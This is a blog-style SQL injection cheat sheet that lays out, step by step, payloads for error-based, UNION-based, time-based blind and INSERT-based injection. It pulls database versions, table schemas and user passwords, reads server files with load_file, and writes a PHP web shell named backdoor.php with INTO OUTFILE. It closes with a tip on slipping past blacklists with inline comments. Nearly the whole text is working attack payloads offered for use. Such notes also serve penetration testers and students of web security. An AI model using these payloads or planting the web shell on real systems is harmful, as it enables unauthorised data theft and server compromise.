- First, try to add ’ or ” in a field to see if the application throws an error.
- Try now a OR query which should return more content or another error.
' OR 1=1
- Try to add a statement and guess some fields which could be included in the error message.
' OR 1=1 in (SELECT password FROM users WHERE name = 'admin') -- //' OR 1=1 in (SELECT version()) -- // - r
Union-based injections
- Then, try to figure out how many columns are returned by adding an increasing number or ORDER BY stataments until finally the execution fails.
' ORDER BY 1 -- //
' ORDER BY 2 -- //
' ORDER BY 3 -- //
...
As soon as the execution fails, the command before indicates the tables column count. - Try now to add a SQL statement which contains some interesting functions (depending on the database) and is padded with the proper number of dummy columns to match the previosly found column count. For MySQL and 5 columns:
%' UNION SELECT database(), user(), @@version, null, null -- //
Note that it could be that the web page returns only some columns like$ret[2]— in this case, repeat the statement, but change the order of the database functions.
Another statement could be:%' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
Blind SQL injections
If no output is given from a statement, try to use time-based approaches.
- While something like
file.php?username=blabla' AND 1=1 -- //
may not return anything if the username does not exist, the statementfile.php?username=blabla' AND IF (1=1, sleep(5), 'false') -- //
will slow down the application’s response if the given user exists.
Enumerating in inserts
Assuming the INSERT statement is
INSERT INTO $tablename (email,name) VALUES ("email", "name");
Then try a timing attack to determine if a certain value is in a field:
INSERT INTO newsletter (name,email) VALUES ('name', '
' AND (IF((SELECT email FROM newsletter WHERE email="known_value") = "known_value", sleep(10), 0)) AND '
');
Enumerating the structure
Try to add an UNION statement into an injectable parameter and combine the output with a variable (in this case for MySQL)
?id=1 UNION ALL SELECT 1, @@version ?id=1 UNION ALL SELECT 1, 2, @@version # <-- following examples are for this case. ?id=1 UNION ALL SELECT 1, 2, 3, @@version ...
For the query that worked, obtain then information about the tables:
?id=1 UNION ALL SELECT 1, 2, table_name FROM information_schema.tables
Then, choose a table to explore, for example users. Then, enumerate the columns of this table:
?id=1 UNION ALL SELECT 1, 2, column_name FROM information_schema.columns WHERE table_name='users'
Then, values from the targeted table can be retrieved:
?id=1 UNION ALL SELECT 1, username, password from users
Code execution
Example to write a string into a file:
?id=1 union all select 1, 2, "<?php echo shell_exec($_GET['cmd']);?>" into OUTFILE 'c:/xampp/htdocs/backdoor.php' -- //
Useful commands
load_file returns the content of a file.
evil.php?id=42 union select 1,2,3,load_file('C:/...')
INTO OUTFILE writes content into a file.
evil.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
Enumerate the count of columns: Request the following and repeat it and increase the order by parameter. An error appears after one column to many.
evil.php?id=1 order by 1
Automatic tools
Notes
- Try DB dependend commands. E.g. for MySQL, @@version returns the version of the server and user() the current user.
- Try inline comments like SELECT/*bla*/table to prevent blacklisting.
Leave a Reply
You must be logged in to post a comment.